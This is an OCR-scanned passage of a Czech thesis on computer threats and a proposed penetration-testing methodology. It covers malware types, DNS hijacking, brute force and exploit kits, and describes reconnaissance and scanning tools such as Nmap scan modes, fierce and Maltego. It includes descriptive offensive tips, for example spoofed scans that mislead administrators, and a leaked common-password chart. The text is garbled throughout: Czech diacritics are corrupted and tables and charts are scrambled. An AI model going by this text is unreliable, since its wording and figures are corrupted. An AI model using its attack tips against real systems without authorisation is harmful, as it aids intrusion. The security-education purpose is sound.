Do této skupiny patii také Bootkity — miniprogramy, jeZ se spoustéji pfi zavadéni jadra
systému do operacni paméti. Pomoci bootkitu 1ze v prvni fadé vypnout UAC za ucelem

snadné instalace Skodlivého SW, popft. 1ze premostit firewall pro snadné&j$i pouZiti botnetu.

Jde o velmi propracované malwary, které lze tézko identifikovat a odinstalovat. Jako

znamé bootkity 1ze zminit napt. Mebroot nebo Bootkit Petra Kleissnera.

Stejné€ jako u malware 1ze doporucit obranu v podob¢ aktudlniho antivirového programu
a aktualizovaného operacniho systému véetné zodpovédného chovani uZivatele pii pohybu

na internetu.

3.5 SPAM

Hrozba SPAM vyuzivad prevdazné emailovou komunikaci. Spamer posild poStu na jiz
definovany ¢i nahodné generovany list emailovych adres a tato dorazi jako tzv.
nevyzadana posta. Jeji podil v béZné emailové komunikaci tvoti az 90 %, ve vétSing

ptipadl jde o reklamu. A¢ se to nezda, spam miiZze byt velice vyd€lecnou ¢innosti, az na
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dvé procenta z odeslaného mnozstvi obét’ zareaguje (jen pro dokresleni: 10 milionti email

=200 tisic dolart).

Dnes se lze proti spamu relativné dobfe branit pomoci veifejnych ,,Cernych listin® (black
lists), kde jsou zvetejnovany nezddouci IP adresy spamujicich systémi. Proto si museji

spamaii hledat nové cesticky, jak obéti nevyzadanou postu dorucit.

Pomoci nové techniky ,,Snowshoe* mtize spamer vyuzit velkého mnozstvi vefejnych adres
pro odeslani spamu. Tento proces mize byt uskutecnén napf. pies tzv. Zombie PC, jez jsou
infikovany néjakym druhem trojského koné. Spamerovi se tak samoziejmé zvySuje

4

vetejnych IP adres nez jen jednu.

Existuji ale moznosti, jak se proti nevyzaddané posté ucinné branit. Pokud se spamerovi
podaii odeslat email ze Zombie PC, Spamhouse (jeden z nejznamé&jsich nastroji na detekci
spamujicich strojii) zjisti, Zze se jedna o spam server, umisti jeho IP adresu na vetejny
blacklist. Spamhouse ptredstavuje automatické postupy pro oveéfovani a porovnavani DNS

zaznamu s informacemi o odeslaném emailu.

Blacklist jako prostiedek pro detekci spamujicich serveri a jejich blokaci (tedy
zablokovani veSkeré emailové komunikace s danou IP adresou) dnes pouziva vétSina
nastroji IPS. V ramci mnohych podnikovych infrastruktur Ize dokonce vytvaret svoje

vlastni blacklisty.

3.6 Hrozby pro DNS

DNS servery slouzi k piekladani jmenného nazvu, naptf. Seznam.cz, na I[P adresu
»717.75.76.3* a naopak. Pro tyto servery dnes existuje nékolik rizik (ohroZeny jsou jak DNS

servery, tak i lokalni stanice).

DNS hijacking (inos DNS) — jedna se o techniku, kdy uto¢nik pfinuti cilovy pocitac, aby
pouzil podvrzené DNS servery slouzici uto¢nikovi. Modelovy piiklad: Kazdé zatfizeni
vyuzivajici internet a pouzivajici jmenny ndzev pro zadavani cilové adresy (napf.
Banka.cz) musi mit nastavené¢ adresy DNS serveru tak, aby konkrétni PC védélo, ze
Banka.cz lezi na adrese 1.2.3.4. Pokud je uto¢nik uspé$ny, zméni nastaveni DNS serveru
daného PC a donuti ho si myslet, Ze adresa Banka.cz leZi na adrese 4.3.2.1. Na té je jiz
pfedem pfipravena kopie téchto stranek, kam obét’ nevédomky zada své jméno a heslo tak,

jak je zvykla. Toto pfenastaveni ma za nésledek, Ze jeji udaje zisk4 Gto¢nik.
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Jednou z dalSich velkych hrozeb mize byt $patné nakonfigurovani DNS serveru. Touto
cestou se poskytnou detailni informace o doméné. DNS Zone Transfer zajistuje
komunikaci mezi primarnim a sekundarnim DNS serverem. Pokud je nastaveni spravné,
poskytovani informaci na trovni serverti bude probihat jen mezi t€émito dvéma servery. Na
druhou stranu — pokud je nastaveni chybné, muze dojit k tomu, ze informace primarniho

nebo sekundarniho serveru budou poskytnuty komukoliv, coz je samoziejmée nezddouci.

Obranou proti témto a mnoha dalSim hrozbam pro DNS je kontrola jeho nastaveni tak, aby
byl vzdy pouzit daveéryhodny poskytovatel sluzby DNS (v podstaté IPS) a v piipadé

serveru byla nainstalovana posledni aktualizace.

3.7 Adware

Jednd se o reklamu, konkrétné o reklamni upoutavace, jeZ se objevuji pii spousténi
aplikace nebo pfi otevirani urCitych webovych stranek. Adware jako takovy nema na PC
Skodlivy vliv, jde jen o upoutdni pozornosti uzivatele, ktery muze takovou reklamu
povaZzovat za vitanou, nebo naopak obtéZujici. Dnes jsou mnohé aplikace, specialné ty
mobilni, financovany z reklamni ¢innosti a zélezi jen na tvirci aplikace nebo stranky, jak

moc bude reklama vidét a ovliviiovat chod aplikace.

Pti zavedeni mnohych aplikaci se vybér mezi instalaci a neinstalaci adware potlacuje
natolik, aby si jej uZivatel co nejméné vSimal. Mnohdy se davd i do vSeobecnych

podminek, které ovSem vétSina uzivatel necte, a tudiZ je jejich instalace nasnadé.

Samotny adware nepacha v PC zadnou skodu, ale mize vyrazn¢ zpomalit chod aplikaci ¢i
systému. Mnozi uZivatelé také nevédi, jak se vlastné takové nevyzadané reklamy zbavit,
a to je pak samoziejmeé prileZitost pro potencidlni uto¢niky. Atakuji obét’ tak, Ze ji podstrc¢i
domnély program ureny k odstranéni adware; ten vSak namisto slibeného vylepSeni

nainstaluje do PC napt. trojského kon¢.

Obrana proti takovému chovani tkvi v poctivém procteni licen¢nich podminek instalované
aplikace ¢i programu. Pokud se jedna o webové stranky, jsou tyto dnes ucinné chranény

dopliky proti adware (napt. AdBlock).

3.8 Backdoor — Trojsti koné

Tento typ SW patii do skupiny malware a vétSinou se skryva v instalanich programech

typu ,,Keygen®, ,,Crack® nebo ,,Serial Number“. Tyto miniaplikace umoznuji obchdzet
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licen¢ni politiku komerénich produktii, prestoze jejich potizovaci cena nemusi byt vysoka.
Pro bézného uzivatele je ale atraktivnéjsi ziskat produkt zadarmo. To umoziuji zminéné
miniaplikace, které cCasto byvaji infikovany tzv. Trojskym koném. Po spusténi
nainstalovaného programu dojde zaroven k tiché instalaci Skodlivého SW, ktery umozni

uto¢nikovi vzdaleny piistup bez védomi napadené ob¢ti.

Dalsi zptsob infiltrace predstavuje ptimé vlozeni média s Trojskym koném do PC. Takovi

trojsti kon¢ vyuzivaji autorun, coz umoziuje infiltraci ihned po vlozeni.
Vyuziti Backdooru v oblasti hackingu je pomérné rozsahlé:

* vyskytuje se v PC, jez tvofi ¢asti botnetu,

* pouziva se k distribuovanému utoku,

* muze zpusobit nefunkénost PC,

* rozesila nevyzadanou postu (SPAM),

* slouzi k odcizeni identifika¢nich udaji typu ptihlaSovaci heslo véetné detailu o pla-
tebnich kartach,

* pouziva se k instalaci keylogeru, ktery zaznamenavé veskeré zadané znaky a posila

je uto¢nikovi atd.

Mezi nejznaméjsi Backdoory patii ,,Sub7* a ,,Back Orifice 2000%, v 90. letech minulého
stoleti to byl ,,Netbus 2.0 Pro*.

Ochranou proti této hrozbé je zejména aktualizovany antivirovy program. VSeobecna
ochrana proti napadeni pak tkvi v zdkazu automatického spousténi autorunu a v porovnani

hash hodnoty zvetejnéné vyvojaii SW tak, aby nedoslo ke kompromitaci instalace.

3.9 Browser hijaker (Unos prohliZece)

Tento ,,inos* internetového prohliZece je dalSim malwarem, jeZ umoZiuje zménit vychozi
stranku prohliZzece vcetné¢ vyhledavacich fadkd. Malware neni nijak nebezpecny pro
samotné PC, ale umoZnuje Uto€nikovi nasmérovat obét’ na internetové stranky, odkud se
do jeho PC muze infiltrovat dal$i nebezpecny SW. Ve vétSiné piipadi mé toto

pfesmérovani marketingovy podtext, i¢elem je néco prodat.

Protoze ma tato hrozba v hledacku vétSinou nativni prohlize¢ systému Windows, obrana je

jednoduché — pouzivat jiny typ prohlizece.
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3.10 Brute force attack (Utok silou)

Tento typ hrozby se vyuziva k napadeni nejriznéjSich systému bez ohledu na jejich
slozitost nebo rychlost. Vykladové slovniky Casto hovoii o prolamovani $ifry, ale v oblasti
IT se bézn¢ pouzivaji ke zjisténi kombinace ptihlaSovaciho jména a hesla. Jde o primitivni
metodu ,,pokus-omyl”“. Technika je dnes hojn€¢ pouzivani, cemuz nahrava naivita

uzivatell, ktefi pouzivaji k zajisténi svych uctt jednoducha, mnohdy slovnikova hesla.

Uto¢niky jsou Casto vyuzivané automatické procesy, pomoci nichz zkousSeji kombinaci

jména a hesla podle definovaného slovniku, ktery si sami vytvofi, popf. si jej stdhnou

z internetu.
Délka Hesla: 4 | 5 | 6 | 7 | 8 |
PouZité znaky: poget kombinaci a &as, ktery by byl tieba k prolomeni pokud by se zkouselo 100 heselisec
0.9 (10 znaki) 10000 100000 1000000 10000000 100000000
) 2 minuty 16 minut 3 hodiny 1den 11 dni
0.9;a.2 (36 znaka) 7311616 380204032 2%10%9 8x10%10 3x1002
e 5 hodin 7 dni 8 mésici 25 let 900 let
5 14776336 916132832 Ex10%10 Ax10012 2x1004
0-%:a-zA-Z (62 znaka) 2 dny 3 mésice 18 let 1,000 let 70 000 let
. oy . 52200625 443705312 3101 3x10M3 3105
0-%:a-Z:A-L + specialni znaky (85 znakd) 6 dni 1 rok 120 et 10 000 let 800 000 let

Tabulka 1. Cas potiebny k prolomeni hesla hrubou silou

Konkrétni ptipad mluvi za vSe: V €ervnu minulého roku se uto¢nikiim ze skupiny D33D
podafilo odcizit a nasledné publikovat ptihlasovaci informace o 450 tisicich emailovych
uctech. Kazd4 z téchto informaci obsahovala ptihlaSovaci jméno a heslo. Piekvapivé je, ze
se utocnikim podafilo odcizit tak velké mnoZstvi takovych informaci, ale jesté

prekvapivéjsi je jejich analyza:
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Password popularity (all passwords)

1800

| [ 123456: 0.4% [1667)
Password list: yahoo.dic [ passward: 0.2% (780)

O welcome: 0.1% (437)

Passwords processed: 442 836 [ ninga: 0.1% (333}
LA00 @ abel23: 0.1% (250
[ 123455789: 0.1% (222)
1200 [ 12345578: 0.0% [208E)
[ sunshine: 0.0% [205)
[ princess: 0.0% (202
O gqwerty: D0%(172)
O writer; 0,09 [164)
B0 — [ mankesy: 0.0% (162)
@ freedom: 0,0% [1681)
500 @ michael: 0.0% (150)
@ 111111; 0.0% [160)
[ ioveyouc 007 (140
@ passwordl: 0.0% (139)
[ shadow: 0.0% [134)

00 [ baseball: 0.0% (133)
O cigger: 0.0% (132)
T
o

1000

Password count

0 Ll I 1 T I

5 ] il b r =
i;-‘*“ é__,ﬁb & & F q}@;«-ﬁ’ & E

¥ "

Password

Obrazek 7. Analyza pouzitych hesel emailovych uétt odcizenych z yahoo.com

Statistika jen podtrhuje, jak dilezité je co nejbezpecnéjsi nastaveni hesla. Obranou mohou
byt SW, které umoziuji ukladat nejriznéjsi ptihlasovaci jména a silna hesla do trezoru

a vyzaduji, aby si uZivatel zapamatoval pouze heslo hlavni, které dany trezor odemyka.

3.11 Exploit

Jedné se o drobny program, ktery vyuzivé zranitelného mista v systému. VétSina exploitil
je vetejn€ znama, takze tviirce konkrétniho SW miiZe na tuto situaci reagovat tim, Ze proti

nému vyda ,,zéplatu, kterou si pak uzivatelé mohou stdhnout a nainstalovat.

Jednim z momentalné nejrozsifenéjSich exploitkiti je ,,Blackhole®. Slouzi k ptfendseni
fale$nych antivirovych program, rootkitl jako ,,Zeus* ¢i ,,ZeroAccess®.

Velka spousta téchto drobnych programi je shromazd’ovana do vétSich celkd a tvofi tak

ucinny penetracni nastroj. (Nazorna ukazka prace s témito nastroji bude piedvedena v testu.)

Mezi nejznaméjsi skupiny patii metasploit.

Obrana proti hrozbé v podobé exploitu spoc¢iva v tom, Ze je udrzovana aktualni verze vSech

pouzivanych systémd.
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Where are Blackhole exploit sites being hosted?

»

Countries hosting Blackhole exploit sites (2012)

® Brazil 1.49% Italy 5.75%
Great Britain 2.24% @ Chile 10.77%
® Metherlands 255% @ Russia 17.B8%
’ ® Germany 368% e United States 30.81%
® China 5.22% e Other 13.88%
Turkey 5.74%

Source: SophoslLabs

Obrazek 8. Procentudlni vyjadteni napadenych PC exploitem Blackhole

3.12 Cookies

Jsou navrZzeny tak, aby pomahaly, ale protoZe uchovavaji citliva data, jsou pro Utocniky
vyhledavanym cilem. O co tedy jde... Cookies jsou velmi malé textové soubory, které jsou
ulozeny v PC a posilany na stranu webového serveru pii opétovném spojeni. Tyto soubory
mohou obsahovat i1 uzivatelovy identifika¢ni tidaje nebo dale poskytovat poznatky o uzi-
vatelovych poslednich krocich na dané webové strance (napt. ptehled polozek v ndkupnim

kosiku, ¢islo kreditni karty).

Ke zneuziti mize dojit, pokud je na strance infiltrovany néjaky skodlivy kod typu java
script nebo pokud je pouzit utok typu XSS skript. Jestlize se tak stane, dojde k ,,inosu*
téchto dat a k jejich naslednému zneuziti. Utok nema za cil poskodit data na PC, ale odcizit
uzivatelovu identitu ¢i jeho citliva data jako ptihlaSovaci udaje k emailu, socidlni siti,

identifika¢ni Cisla dokladt apod.

Obrana proti cookies je problematicka. V prohlize¢i lze cookies Uplné vypnout, coz ale
neni optimalni feSeni, protoZe urcité webové stranky je vyZaduji. Pfi vhodném nastaveni
webového prohliZzece lze ale docilit toho, Ze cookies budou mazéany pii kazdém jeho

uzavieni.

3.13 Hoax (Poplasné zpravy)

Tato technika vyuZiva rozesilani poplasnych zprav nebo informaci o urcité udalosti, ktera
se nestala, ale poukazuje na existujici skutecnost nebo osobnost tak, aby obét’ zaujala.
Hoax miZe naptiiklad oznamovat, Ze obét’ ma v PC zaSkodny SW ¢i virus, jeZ je velmi

nebezpecny. Skutecnost je samoziejmé opacnd, ale ukolem hoaxu je obét’ pfimét k tomu,
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aby si napf. ,,velmi vyhodné“ pofidila nabizeny antivirovy program nehled¢ na to, ze ten

muze piedstavovat dalsi hrozby pro konkrétni PC.

Dalsim typem falesné zpravy muze byt upozornéni na nebezpecny email s predmétem
vyuzivajicim jména néjaké znadmé osobnosti (dnes napi. zejména ,,Justin Bieber®), popf.
s pfedmétem snazicim se vyvolat soucit (napf. ,,Penize pro postielen¢ho chlapce braniciho
sestru®). Email se ale také muze tvafit, ze pfichazi od davéryhodné instituce jako je
Policie, FBI, Microsoft, IBM atd. VSechny tyto zpravy maji jedno spolecné, a to ze
nabadaji obét’ k jejich dalSimu rozesilani, a tak zatézuji emailové servery vcetné sitového

provozu.

Tento typ nepiedstavuje pro obét’ az tak zasadni hrozbu, snad jen Ze obtézuje, z globalniho

hlediska vSak jde o obrovské mnozstvi nezddouci komunikace, ktera zabird misto

4

Obrana je jednoduchd — necist emaily od nedivéryhodnych zdroji. Pokud se piece jen
néjaky hoax k potencialni obéti dostane, méla by jej ignorovat a nepodilet se na jeho

dal$im Sifeni.

Dulezitym faktem zlstdva, Zze hrozby budou pfitahovat systémy, jez jsou celosvétove

rozsiteny. Dlivod je jasny — budou totiz moci zasahnout vétsi mnozstvi potencidlnich cila.

Kazdy systém je zranitelny a je naivni si myslet, Ze nikdy nemutze byt prolomen.
V budoucnu nas tedy s nejvétsi pravdépodobnosti ¢ekaji masivni Utoky na mobilni
zafizeni, jimiz jsou chytré telefony a tablety. Otazkou tedy neni jestli, ale jak a kdy se tak

stane.

Doporuceni proti aktudlnim hrozbam plyne z vlastni zkuSenosti: VSechny hrozby a rizika
lze minimalizovat, pokud jsou uZivatelé o moZnych hrozbach a rizicich dostatecné

informovani a sami se chovaji zodpovédné pii pohybu na internetu.
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II. PRAKTICKA CAST
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4 NAVRZENA METODIKA PENETRACNIHO TESTOVANI

Tato metodika byla sestavena na zakladé praktickych zkuSenosti, které jsem ziskal studiem
a praci v oblasti IT. Metodika vychazi z jednoduchého modelu PDCA (plan, do, chack,

act), ktery se sklada z nésledujicich kroki:

Planuj

* podepsani smlouvy o piipravovaném testovani (stanoveni, kdy bude test provadén,
kdo bude test provadét, co se bude testovat, odkud a kde bude test provadén,
stanoveni ochrany citlivych udaji, pokud budou néjaké vyzrazeny, pouziti technik
destruktivnich a nedestruktivnich);

* stanoveni strategie Utok (zvoleni technik podle toho, odkud bude test provadén);

* sbér informaci pro usnadnéni naslednych utokii (pouzitim telefonu, internetu,
vizualni kontroly objektu a auditovaného systémil);

* ptiprava HW a SW vybaveni (zvoleni spravnych nastroji dle vybrané strategie).
Délej nebo vykonej

* provedeni testu (dle zvolené strategie a nastroji);

* shromazdéni vysledkt o provadénych testech.
Kontroluj

« analyza bezpec¢nostni situace;

* pofizeni vysledkové dokumentace pro vedeni spolecnosti;

* potizeni vysledkové dokumentace pro administratory systémd;

* stanoveni moznosti bezpecné ochrany proti nalezenym nedostatklim;

* ptipadna ptiprava pro udé€leni certifikace.
Jednej

* prezentace vysledka analyzy;
* pfedani dokumentace;

* Skoleni (pokud je soucasti smlouvy).

Pro spravné provedeni analyzy penetra¢niho testovani doporucuji vychazet z jiz prové-

fenych a dostupnych poznatki.
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Test by mel byt:

* dsledny — zohlednéni vS§ech moznosti testovani;

* vyhovujici vSem zékoniim — splnéni vSech zdkonnych ustanoveni s ohledem na
skute¢nosti uvedené ve smlouve;

« aktualni — snaha 0 maximalné napodobeni Gto¢nikovy formy ttoku;

* opakovatelny — moznost opakovat test v budoucnu pro srovnani vysledktl vyply-

vajicich z uplatnénych protiopatieni.
Vysledky testu by mély:

* odpovidat skute¢nym faktim — vysledek by mél byt pfesnym odrazem skute¢nosti,
které se projevily pfi testovani;

* byt méfitelné — musi odpovidat zvolené stupnici hodnoceni tak, aby mohlo dojit k jeho
porovnani s ptredesSlymi vysledky métent;

* byt aktudlni — odpovidat datu testovaného obdobi.

Penetracni testovani mizeme rozdélit do nckolika tematickych celk. Kazda spolec¢nost,
ktera penetracni testy provadi, si toto rozdéleni voli podle svého nejlepsiho tsudku, a proto
tato skutecnost zistava firemnim know-how. Naopak oteviené metodiky poskytuji nazorny
piiklad provedeni a je na kazdém jednotlivci, jak si tyto postupy modifikuje k jejich

nejlepsi efektivite.

Zadkladni rozdéleni testii
* externi — test provadény z externi sit€ s minimalni znalosti cile;
* interni — test provadény z vnitini sit¢ firmy;
* bezdratovych siti — test zabezpeceni bezdratové sité ve vsech prostorach dané firmy
i mimo ni;
« fyzické bezpe€nosti — fyzické umisténi ¢asti systémil z pohledu bezpecnosti;
» webovych aplikaci — testovani vetejného a intranetového serveru;

* socialni inzenyrstvi — testovani lidskych zdrojt.

V nasledujicich odstavcich budou vysvétleny zakladni postupy pii provadéni penetraéniho
testovani véetné vybranych nastroji pro provadéni. Téchto nastrojli existuje cela fada a je

na kazdém, jaky néstroj testovani pro dané odvétvi zvoli.
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4.1 Externi penetracni testy

Vychazeji ze zadani o penetracnim testovani dle smlouvy mezi provadéjici firmou a spo-
le¢nosti, ktera si test objednala. Tento test by méla provadét osoba nebo osoby, které dosud
nepfisly s testovanou spolecnosti do kontaktu. Protoze se jedna o tok z vn&jsi sité, test by
mél probihat v koordinaci s testy socidlniho inzenyrstvi, fyzické bezpecnosti nebo

bezdratovych siti (je tfeba si uvédomit, Ze bezdratovy signal nekonci za zdmi spolecnosti).
Test by mél byt rozdélen do dvou zakladnich ¢asti:

1) Sbér dat a informaci — v této ¢asti by mélo dojit ke shromazdéni co nejvétsiho
mnozstvi informaci pro nasledujici faze testu. Ze zkusenosti je znamo, ze tato fdze ma
velky vliv na dalsi vyvoj testovani. Proto je doporuc¢eno vénovat maximalni pozornost
tématiim, jako jsou naptiklad:

* struktura spole¢nosti — pomoci internetu a socialnich siti si Ize vytvofit obraz o tes-
tované firme;

* jak je spolecnost velkd — pomtlze urcit strategii a pouziti nastroji;

* rozdé€leni a pocet zaméstnanci spole¢nosti — napf. uréeni vychoziho bodu pro utok
hrubou silou;

« struktura pobocek (pokud spolecnost néjaké ma) — daleko 1épe se itoci na mensi
cile, které mohou byt zranitelné;si;

* na jakych konkrétnich IP adresdch se nachazeji ¢asti systémd — urceni mozZnych
cily;

* kontrola nastaveni DNS zdznamt — kontrola ¢astych chyb nastaveni;

» zji§téni subdomén konkrétni domény — rozsifeni moznych cilovych bodi;

* jaké systémy na danych IP adresach bézi — pomaha pti vybéru testovacich néstroji;

* které sluzby na systémech bézi — kdo ma piistup k témto systémum;

* jaké porty ma systém oteviené — oteviené porty slouzi jako dvete do systému;

* jak je systém propojen s internetem — Sitka pasma, datové toky atd.

* moznosti zahlceni systému — névrh pouzitelnych nastroj.

2) Skenovani a exploitace — tato faze nastava po shromazdéni vSech dostupnych
informaci, zvoleni spravné techniky a ndastrojii penetra¢niho testovani. Pokud jsou
testy vzajemné koordinovany, muze dojit dokonce i k situaci, kdy uz budeme mit

pfistup do systému vytvoien (napi. pomoci socidlniho inZenyrstvi).
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Ukolem provadgjici firmy je provéfit bezpeénost ze viech moznych pohledi, coz
znamena vyuzit maximalniho poctu néstroju a technik, které miize potencialni itocnik
vyuzit — tzn. ¢im vice, tim 1épe, ale pfitom dbat na vysokou kvalitu testovani. Kazdy
test je svym zpiisobem unikatni, proto je na kazdém, jaké zvoli nastroje a techniky, ale
podle zkuSenosti vim, Ze ne kazdy néstroj nebo pouzita technika vzdy pfinese stejny
vysledek. Proto pokazdé doporucuji test provadét minimaln¢ dvakrat a pomoci
riznych nastrojii. Zde muze bezpecnostni konzultant vyuzit jak automatizovanych, tak

manualnich nastroji pro provadéni testu.
Co by mélo byt provedeno:

* opakovani — testovat vice nastroji jeden cil,
* testovani vSech dostupnych cilii — snazit se provétit vSechny moznosti budoucich
hrozeb,

» zabezpeceni vSech nasbiranych dat.
Pouziti nastroju
Co se tykd HW, lze pouzit jakykoliv pocitac, ktery odpovidd dnesnim standardd. Vyhodou
je, pokud procesor umoziuje vizualizaci, ktera poskytne naslednou instalaci systému pro
testovani do virtualniho stroje. Linuxové distribuce BacktTrack, Kali a jiné dnes poskytuji
zéklad SW-vybaveni pro provedeni penetracnich testli a jsou podporovany komunitou
osob, které se vénuji problematice pentestingu. Tyto distribuce umoZznuji zavést systém do

opera¢ni paméti nebo uplnou instalaci do HDD ¢i jiz zminéného virtudlniho stroje.

Nastroje Ize délit do skupin podle narocnosti jejich obsluhy, podle stupné automatizace,

ziskavani informaci (pasivni, aktivni) atd.
Mozné pouZiti ndstroju
* Google — jeden z nejpopularnéjsich nastroji pro vyhledavani na internetu. Jde o in-
ternetovy vyhledava¢ s moznosti vyhledavani stranek, osob, obrazki, map a dalSiho
materidlu. Pomoci tohoto nastroje jsme schopni vyhledat zakladni informace o cili,
potazmo zékaznikovi. Pro zvySeni efektivity l1ze pouZit specialni fetézce, coz umozni
zobrazeni ptresnéjsich vysledkl (viz Google hacking).
* Socidlni sit¢ (Facebook) — rozsdhla, oblibend socidlni sit. Dne$ni trendy a doba
vybizeji k zapojeni do néjaké socidlni sité tak, aby si uzivatelé, ale i1 firmy jednoduse

a efektivné sdélovaly svoje informace typu nazory, stavy, potieby a dalsi. Ackoliv si
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spousta lidi neuvédomuje bezpecnostni riziko téchto siti, své informace poskytuje
Siroké vetejnosti a dava tak zdminku potenciondlnim uto¢niktiim. Miizou se dostat
k dal$im uzite¢nym informacim, naptiklad o tom, kdo pracuje pro danou spole¢nost,
jaké jsou jeho z4jmy, jaka je jeho historie, s kym se prateli, jaky bude jeho dalsi krok
a dalsi uzitecné udaje. Ty Gtoc¢nikovi poskytnou snazsi prinik do systému.

* Whois — nastroj pro identifikaci a sbér dat o drziteli domény. Lze si zde vyhledat
informace typu: kdo je registratorem domény, kdo je majitelem domény a jeho
kontakt vCetn¢ telefonu. Lze predpokladat, ze Gto¢nik si zjisti také dostupnost dalSich
narodnich ¢i nadnarodnich domén (eu, com atd.) tak, aby mohl pouzit techniku

Phishingu (viz socidlni inzenyrstvi).

Vyhody: velké mnozstvi informaci, pasivni vyhledavani.

Nevyhody: nutnost tfidéni informaci na pouzitelné a nepotiebné, nutnost kontroly
aktualnosti nalezenych dat.

Predpoklad znalosti: prace se specialnimi fetézci v Googlu, fungovani sociélnich siti.
Ocekavany vysledek: zakladni informace o testovaném cili typu: adresa, jména,
telefonni ¢islo, umisténi webovych stranek, jméno majitele domény, pouzity systém

web serveru atd.

* nslookup — diagnosticky nastroj na dotazovani DNS zaznamu. Pomoci tohoto
nastroje Ize jednoduse identifikovat spravnost nastaveni DNS zdznamu. Nastroj se
vyuziva ve dvou modech, a to interaktivnim a neinteraktivnim. V ur¢itych ptipadech,
pokud neni server aktualizovan, lze pomoci tohoto ndstroje zobrazit detailni
informace o doméné.

+ dig (domain information groper) — jedna se o flexibilni nastroj pro dotazovani DNS
jména serveru a pro shromazd’ovani vysledkd dotazi s moznosti zadavani rtiznych
parametrd. Ptiklad: dotazovani pomoci TCP, zobrazeni vSech zdznamii (MX, A, NS,
atd.), kontrola reverzniho zaznamu, moznost ukladani vysledka do textové podoby.

* DMitry (Deepmagic Information Gathering Tool) — umoznuje podobné funkce jako
nastroj dig s n€kolika pfidanymi hodnotami, napt.: naéteni informaci z netcraft.com
tykajicich se hostitele typu operaéni systém, webovy server nebo uptime. Dale
nastroj umi zobrazit vS§echny subdomény hledané domény nebo vyhledat emailové

adresy.
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« fierce — dal3i nastroj patiici do skupiny testovani DNS napsany v jazyce Perl. Uginny
nastroj kontroly zoénového ptenosu. Pokud zonovy pienos neni povolen, ihned
nastupuje utok hrubou silou, ktery byva mnohdy tspésny.

* ping - jednoduchy diagnosticky nastroj pro zobrazeni odezvy na zadanou IP adresu.
Nastroj lze také vyuzit k DoS-utokiim. Jednim je ping flood (zaplava pingem), ktery
je provadény z vice PC na jednu cilovou adresu tak, aby doslo k jejimu zahlceni.
Druhym je ping of death (ping smrti), jez zneuziva velikosti paketu, kdy utocnik
vysilda nezvykle velké pakety tak, aby zaplnil sitové pasmo hostitele. Obé tyto
techniky maji za cil vyfadit nebo zaneprazdnit cilené servery.

* Traceroute — dal$i s diagnostickych néstroju, ktery méa informaéni vyznam. Pomoci
tohoto nastroje 1ze jednoduse identifikovat cestu k zadané adrese. Traceroute vypise
vSechny hopy (skoky), jez zobrazuji aktivni prvky po cesté k hostiteli.

* Nmap (portscanner) — nastroj je vhodny ke skenovani vétsiho mnozstvi prvku sité,
ale 1 detailni skenovani jednotlivych casti sit€. Primarni ovladani je z ptikazového
radku, pficemz existuje 1 jeho graficka nadstavba GUI Zenmap. Jednou z obrovskych
vyhod je moznost skriptovani, které lze provadét pomoci programovaciho jazyka
LUA (lua.org). Pro néstroj existuji i rizné druhy rozsitujicich prvka jako je tieba
MSFConsole. Pomoci n¢j 1ze provadét i rizné druhy skenovani, naptiklad:

= TCP skenovani — spociva v ovéfeni otevienych portii na urovni TCP. Skener
vysle jednoduchy paket a ¢ekd na odpoveéd. Vyhodou tohoto skenovani je, ze
ukéze presny vysledek otevienych portl, nevyhodou, Ze je velice jednoduse
detekovatelny (proto se moc nevyuzivd). Pokud je systém detekce na firewallu
dobfe nastaven, vyvola poplach.

= SYN skenovani — tzv. tiché skenovani (zndmé také jako polovicné oteviené
skenovani) ve skutecnosti nikdy neumozni plné navazani TCP spojeni. Pokud je
na skenovaném stroji port otevieny dojde k zaslani paketu SYN-ACK a skener
mu odpovi pomoci RST paketu. Tim dojde k uzavieni spojeni. Vyhodou je, Ze
tento druh skenovani lze t€Zko detekovat na starSich firewallech.

= UDP skenovani — pfestoze je jen jednosmérnym zasilanim paketu, i zde musi
dojit k nepatrné vyméné informaci, aby mohlo byt spojeni navazano. UDP
skenovani vyzaduje vice technickych dovednosti. Jestlize je UDP paket poslan
a port neni otevieny, systém odpovi pomoci ICMP, Ze dany port je nedostupny.

Mnoho skenert vyuzivd metodu zaporné odpovédi, aby ziskaly pozadovany
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vysledek. Druhym typem skenovani je moznost poslat specificky UDP paket
a doufat, ze systém odpovi na stejné urovni. Vyhoda a nevyhoda tohoto
skenovani tkvi v tom, Ze vime, jestli je port otevieny, ale jsme limitovani

specifickym druhem paketu, napt. DNS.

CLOSED PORTS

P—
,,,,,, P/

192.168.232.128 (BackTrack) 192.168.232.171 (METSPLOITABLE)

ICMP : Port Unreachable

|

Obrazek 9. UDP skenovani — odpovéd’ na zavieny port

OPEN PORTS
g »_P + PORT 443 g

1 =,
PC-PT PC-PT
192.168.232.128 (BackTrack) 192.168.232.171 (METSPLOITABLE)

UDP + Port 443 data

1

Obrazek 10. UDP skenovani — odpovéd’ na otevieny port

= ACK skenovani — nema za ukol pfimé skenovani toho, zda je port otevieny nebo
zavieny, ale mé za kol prozradit, které porty jsou filtrovany pomoci firewallu.
Na vzdaleny port je vyslan TCP ACK ,,frame* a pokud nedojde k odpovédi, je to
povazovano za filtrovany port. Naopak pokud je odpovéd’ RST (RESET), potom
je port povazovan za nefiltrovany. ACK skenovani ma smysl, pokud dojde
k detekci firewallu.

= Xmas skenovani — je podobné typu ACK skenovani s tim rozdilem, Ze pokud
dojede k odpovédi RST, je port povazovan za filtrovany (otevieny).

= OS skenovani — miiZze uto¢nikovi napovédet, na co Gto¢i a tim zptesnit jeho utok
na konkrétni cile. Skenovani ukaze typ a verzi operacniho systému. Nevyhodou
je mala pravdépodobnost detekce systému, ktery je umistén do Internetu bez
pouziti né¢jakého firewallu.

= Spoof Skenovani — technika, kterd mé za kol zmast administratora tak, aby si

myslel, Ze utok byl veden z nékolika dal§ich adres. Samotny Utok lze v logu
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firewallu lehce dohledat, proto je vhodné maskovat Gtok mezi n¢kolik dalSich
IP adres.

» Maltego — vizualiza¢ni nastroj pro mapovani infrastruktury sité. Maltego je ,,open
source* inteligentni forenzni aplikace, ktera umoziuje piehledné a graficky znazornit
vzajemné vazby mezi sledovanymi objekty. Pro fungovani vyuziva rozesilani dotazu
ve formatu XML prostiednictvim HTTPS. Zadosti jsou dale preddvany na TAS
server, ktery je nasledné preposle poskytovateli internetu, a to umozni zaslat
odpovédi i Meltego-klientovi.

|

Internal network Internet
<xml/> p

<htmi/>
sQL

<xml/>

<xmi/3
/

(0

<html/>
SaL

Obrazek 11. Princip dotazovani na TAS server

Vyhody: pomérné rychlé testovani.
Nevyhody: aktivni vyhledavani (timto provéfovanim lze na sebe upozornit).
Predpoklad znalosti: ptehled problematiky DNS, sitového provozu a poskytovanych

